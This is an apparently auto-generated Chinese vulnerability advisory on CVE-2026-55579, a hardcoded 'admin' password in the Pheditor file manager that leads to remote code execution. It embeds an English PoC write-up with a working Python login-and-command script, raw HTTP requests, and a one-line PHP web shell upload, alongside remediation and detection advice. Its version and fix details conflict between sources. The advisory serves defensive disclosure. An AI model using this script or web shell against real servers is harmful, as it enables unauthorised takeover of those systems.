摘要：CVE-2026-55579 是 Pheditor（一个基于 PHP 的单文件编辑器和文件管理器）中存在的一个严重安全漏洞，CVSS 评分为 9.8（Critical）。漏洞源于程序将默认密码 admin 的 SHA-512 哈希硬编码在源码中，且未强制用户首次登录后修改密码。远程攻击者无需任何身份验证即可使用公开的默认凭据登录，进而通过文件编辑、文件上传和终端功能实现任意文件读写与远程代码执行（RCE），对受影响系统的机密性、完整性和可用性造成完全破坏。

📌 漏洞概述

• CVE ID：CVE-2026-55579
• 受影响产品：Pheditor（PHP 单文件编辑器/文件管理器）
• 受影响版本：根据 NVD 数据，影响 2.0.1 至 2.0.6 之前的所有版本；2.0.6 版本已修复。另有 GitHub Advisory 标注“所有版本均受影响”，需以官方发布说明为准。
• 漏洞类型：CWE-798（使用硬编码凭据）→ 进一步导致 CWE-94（代码注入）
• CVSS 评分：9.8（严重）——向量为 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H，意味着该漏洞可通过网络远程利用、攻击复杂度低、无需身份验证，且影响范围不超出受漏洞影响的组件，但对机密性、完整性和可用性的影响均为高。
• 利用状态：未收录于 CISA KEV，但已有公开的 PoC 仓库（如 Ch4120N/CVE-2026-55579），实际利用门槛极低。

🔬 漏洞根因分析

Pheditor 的核心认证逻辑位于 pheditor.php 中，其第 11 行硬编码了一个 SHA-512 哈希作为唯一的管理密码：

define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');

该哈希值就是明文口令 admin 的 SHA-512 摘要（可通过 printf 'admin' | sha512sum 验证）。也就是说，程序的“默认密码”是公开且固定的，任何了解 Pheditor 的人都能直接计算得到。

进一步分析其认证代码（约 135–145 行），程序将用户提交的密码直接进行哈希并与常量比较：

if (hash('sha512', $_POST['pheditor_password']) === PASSWORD) {
$_SESSION['pheditor_password'] = $_POST['pheditor_password'];
// 登录成功
} else {
$error = "Password is not correct.";
}

这里存在两个根本性设计缺陷：

• 使用硬编码凭据：密码以静态形式写入源码，无法通过正常配置修改。除非运维人员手动修改源码中的哈希值，否则所有安装实例都共享同一口令 admin，攻击者可以使用该口令绕过身份验证。
• 缺乏强制修改机制：程序虽然在 pheditor.php 的 1956–1958 行检测到默认密码时显示警告横幅，但该警告仅是 UI 提示，并不会阻止登录。系统没有提供任何“首次登录强制改密”的流程，用户/管理员即使看到警告也可以不修改直接使用。

由于认证过程使用的是无盐、无密钥派生函数的裸 SHA-512，即使运维者把密码改为其他弱口令，也容易受到字典攻击和彩虹表攻击。但更严重的是，默认凭据本身就是公开的，攻击者可以直接利用该凭据通过认证，进入管理后台。Pheditor 后台具备文件编辑、文件上传和终端执行功能，攻击者一旦登录即可切换任意文件（任意文件读）、修改或创建文件（任意文件写）、上传恶意脚本（如 PHP WebShell），或直接通过内置终端执行系统命令，最终实现远程代码执行。

公开的 PoC 仓库（Ch4120N/CVE-2026-55579）验证了上述利用路径：使用默认口令 admin 登录后，通过后台的文件上传功能植入恶意文件，或通过终端执行 id、whoami 等命令，从而确认服务器的完全控制权。整个利用过程无需任何前置条件，攻击复杂度极低，这也是该漏洞被赋予 CVSS 9.8 的原因。

💥 影响与危害

CVE-2026-55579 的直接影响是攻击者可以完全接管目标 Pheditor 实例，具体危害包括：

• 任意文件读取：利用文件编辑功能可以读取服务器上的任意文件，包括数据库配置、SSH 私钥、应用源码等敏感信息。
• 任意文件写入：攻击者可以修改或创建任意文件，例如篡改 Web 页面内容、植入恶意后门脚本、覆盖系统配置文件。
• 远程代码执行（RCE）：通过文件上传功能上传 PHP WebShell，或直接使用内置终端功能执行系统命令，从而获得服务器的完整控制权。
• 横向移动与持久化：攻击者可能以 Web 服务用户身份在服务器上执行任意命令，进一步创建反向 Shell、添加特权用户、安装持久化后门，并利用内网跳板进行横向渗透。

由于漏洞可被未认证的远程攻击者通过公开默认密码直接利用，攻击面极大。互联网上扫描此类默认凭据的恶意流量非常频繁，一旦 Pheditor 被暴露在网络中，则极大概率在数小时内被自动化工具攻击。即使 CISA KEV 尚未收录，该漏洞的严重性依然极高，且 PoC 已公开，实际风险远超普通高危漏洞。

🛡️ 修复与缓解

针对 CVE-2026-55579，官方在 NVD 数据中标注已在 2.0.6 版本中修复。用户应立即采取以下措施：

• 升级至 2.0.6 或更高版本：升级后，请确认新版本是否彻底移除了硬编码密码，并启用了强制密码修改机制。若 GitHub Advisory 显示所有版本仍受影响，则应等待官方进一步说明或采用替代方案。
• 手动修改源码中的密码哈希：如果暂时无法升级，运维人员必须立即修改 pheditor.php 第 11 行中的 PASSWORD 常量为一个高强度随机口令的 SHA-512 摘要，同时删除默认口令对应的旧会话。注意：修改后仍无法解决“无强制改密机制”的问题，但可以阻止使用默认口令的攻击者。
• 限制网络暴露：立即将 Pheditor 从公网移除，仅允许通过内网或 VPN 访问。若必须对外提供服务，应在前面增加反向代理并启用强身份验证（如 IP 白名单、HTTP Basic Auth 或多因素认证）。
• 启用 Web 应用防火墙（WAF）规则：针对 Pheditor 的登录接口和文件上传接口配置告警规则，阻断已知默认口令的登录尝试。
• 检查服务器是否存在入侵痕迹：如果服务器曾暴露于公网，应审查 Web 目录是否出现可疑文件、日志中是否存在默认口令登录记录、系统内是否被添加了异常用户或计划任务。发现异常时应立即隔离并重建系统。
• 监控与审计：持续监控认证日志、文件变更记录和进程执行情况，及时发现利用该漏洞的后续攻击行为。

综上所述，CVE-2026-55579 是一个由于开发者安全意识不足而引入的“一键规划”级漏洞，默认密码 + 无强制改密 + 功能强大的后台，使其成为攻击者眼中的完美目标。所有 Pheditor 用户都应优先按照修复建议处理，避免服务器沦为攻击者的傀儡。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。

📋 代码元数据语言md来源Ch4120N/CVE-2026-55579针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明

# CVE-2026-55579 – Technical Analysis

## 1. Vulnerability Overview

|Attribute |Value ||:--- |:--- ||**CVE ID** |CVE-2026-55579 ||**Product** |Pheditor (web‑based file manager and editor) ||**Affected Version** |All versions up to and including current HEAD (no fixed release yet) ||**Vulnerability Class** |CWE-798 – Use of Hard-coded Credentials → CWE-94 – Code Injection (via terminal) ||
**CVSS Base Score** |9.8 (Critical) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ||**Vector** |Network exploitable,no authentication required,low complexity,full impact |---

## 2. Root Cause Analysis

The root cause lies in **`pheditor.php`**,which contains a hardcoded SHA‑512 hash of the password `admin`. The password is defined as a constant at **line 11**:

```php
define('PASSWORD',
'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');```

This hash is generated by:

```bash
echo -n 'admin' |
sha512sum
# c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec
```

The application uses a **plain hash comparison** (`===`) in the authentication logic (around lines 135–145):

```php
if (isset($_POST['pheditor_password'])) {if (hash('sha512',$_POST['pheditor_password']) === PASSWORD) {
$_SESSION['pheditor_password'] = $_POST['pheditor_password'];// redirect or show success
    }else {$error = "Password is not correct.";}}```

No salt,no pepper,
no key derivation function – just a raw hash of the user‑supplied string. Attackers can trivially guess the password because it is publicly known and documented.

### 2.1 No Forced Password Change

The application **does not enforce** a password change after installation. It merely displays a warning banner when the default password is detected (lines 1956–1958):

```php
if (hash('sha512',
$_SESSION['pheditor_password']) === PASSWORD) {echo '<div class="alert alert-warning">You are using the default password "admin". Please change it for security.</div>';}```

This is purely cosmetic – the session remains valid and all features remain accessible. There is no expiry,no lockout,
and no setup wizard.

### 2.2 Password Change Feature

The password change feature (lines 363–391) writes the new hash directly into the PHP source file:

```php
$new_password = hash('sha512',$_POST['new_password']);file_put_contents(__FILE__,str_replace(PASSWORD,$new_password,file_get_contents(__FILE__)));```

While this allows administrators to change the password,
it also means that anyone with **read access** to the source file can extract the current hash. If the hash is weak (e.g.,a common password),it can be cracked offline. Additionally,this self‑modifying approach can lead to privilege escalation if the web server has write permissions to its own code.

---

## 3. Attack Surface After Authentication

Once an attacker logs in with `admin`/`admin`,
they gain access to three powerful features that can be leveraged for **Remote Code Execution**:

### 3.1 Terminal Interface

- **Endpoint:** `pheditor.php` with parameter `action=terminal`
- **Required parameters:** `token` (CSRF),`command`,
`dir` (optional)
- **Implementation:** The terminal uses `exec()` or `shell_exec()` to run the supplied command and returns the output wrapped in `<pre>` tags.

**Code snippet (lines 530–560,simplified):**

```php
case 'terminal':
    if (!isset($_POST['token']) ||$_POST['token'] !== $_SESSION['token']) {die('Invalid token');}$command = $_POST['command'] ?? '';
$output = shell_exec($command . ' 2>&1');echo "<pre>" . htmlspecialchars($output) . "</pre>";break;```

No sanitisation,
no restriction – the command is passed directly to the shell. This is a classic RCE vector.

### 3.2 File Upload

- **Endpoint:** `pheditor.php` with `action=upload`
- **Implementation:** Moves uploaded files to the specified directory (default: `MAIN_DIR`). An attacker can upload a malicious PHP file (or any other executable) and then execute it via the terminal or by accessing it directly.

### 3.3 File Editor

- **Endpoints:** `action=open` and `action=save`
- **Implementation:** Reads and writes arbitrary files within the web server's permissions. This allows an attacker to modify existing files (e.g.,
`.htaccess`,
configuration files) or write new ones.

---

## 4. Exploitation Flow in Detail

### Step 1 – Authentication

```http
POST /pheditor.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

pheditor_password=admin
```

The server responds with a `Set-Cookie` header containing `PHPSESSID`. Subsequent requests use this session cookie.

### Step 2 – CSRF Token Extraction

The main page (`GET /pheditor.php`) includes a JavaScript variable containing the CSRF token:

```html
<script>
var token = "a1b2c3d4e5f67890...";</script>```

This token is required for all state‑changing actions (terminal,upload,
save). The attacker's script must parse it.

### Step 3 – Command Execution

```http
POST /pheditor.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=...
Content-Type: application/x-www-form-urlencoded

action=terminal&token=a1b2c3d4...&command=id&dir=
```

The server returns:

```html
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
```

### Step 4 – File Upload

```http
POST /pheditor.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=...
Content-Type: multipart/form-data;boundary=...

--boundary
Content-Disposition: form-data;name="action"

upload
--boundary
Content-Disposition: form-data;name="token"

a1b2c3d4...
--boundary
Content-Disposition: form-data;name="dir"

/var/www/html/
--boundary
Content-Disposition: form-data;
name="file";filename="shell.php"
Content-Type: application/octet-stream

<?php system($_GET['cmd']);?>--boundary--
```

---

## 5. Impact Assessment

- **Confidentiality:** Full read access to all files within the web server's file system (including configuration files,database credentials,source code).
- **Integrity:** Ability to modify,delete,or upload files,
potentially replacing the application itself with a backdoor.
- **Availability:** Can delete critical files,causing denial of service.
- **Lateral Movement:** The web server user often has access to internal networks,databases,or other services;
an attacker can pivot from the compromised host.

**Real‑world scenario:** A developer using Pheditor to manage a web application may have it exposed to the internet. An attacker finds the endpoint,logs in with `admin`,uses the terminal to gain a reverse shell,
and subsequently compromises the entire server and any connected systems.

---

## 6. Proof of Concept (Simplified)

The following Python snippet demonstrates the attack without any external libraries:

```python
import urllib.request,urllib.parse,http.cookiejar,
re

url = "http://target.com/pheditor.php"
jar = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))

# Step 1: Login
data = urllib.parse.urlencode({"pheditor_password": "admin"}).encode()
opener.open(url,data=data)

# Step 2: Get token
resp = opener.open(url).read().decode()
token = re.search(r'token = "([a-f0-9]+)"',
resp).group(1)

# Step 3: Execute command
data = urllib.parse.urlencode({"action": "terminal","token": token,"command": "id","dir": ""
}).encode()
resp = opener.open(url,data=data).read().decode()
print(resp)  # Contains <pre>...</pre>
with output
```

---

## 7. Remediation Guidance

### 7.1 Immediate Mitigations
- **Change the password** immediately using the built‑in password change feature. Choose a strong,unique password.
- **Disable the terminal** by removing the code block or adding a configuration flag (e.g.,
`$allow_terminal = false`) and restricting access to the admin panel.

### 7.2 Long‑Term Fixes
- **Remove the hardcoded password** and implement a setup wizard that forces the administrator to set a password on first access.
- **Use `password_hash()` and `password_verify()`** with a strong algorithm (e.g.,`PASSWORD_BCRYPT`) and a salt,
instead of raw SHA‑512.
- **Implement rate‑limiting and account lockout** to prevent brute‑force attacks (though the password is known,
this adds defence in depth).
- **Store the password hash outside the web root** or in a separate configuration file that is not publicly accessible.
- **Apply the vendor patch** when it becomes available (the maintainer has been notified).

### 7.3 Additional Defence
- **Restrict access to the Pheditor interface** using IP whitelisting,VPN,
or `.htaccess` authentication.
- **Run the web server with least privileges** (e.g.,`www-data` user,not `root`).
- **Regularly audit logs** for unusual activity (e.g.,`pheditor_password=admin` requests,
unexpected commands in the terminal).

---

## 8. References

- [GitHub Advisory GHSA‑p4h7‑p9rj‑2pq2](https://github.com/advisories/GHSA-p4h7-p9rj-2pq2)
- [Pheditor Official Repository](https://github.com/pheditor/pheditor)

---

**Analysis by Ch4120N** – This document is intended for educational and authorised security testing purposes only.

⚔️ EXP 利用代码

截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议：

• 根据漏洞根因编写 Nuclei 检测模板
• 在 WAF/IDS 中配置针对漏洞特征的规则
• 关注漏洞指纹库更新

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-10 19:06 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库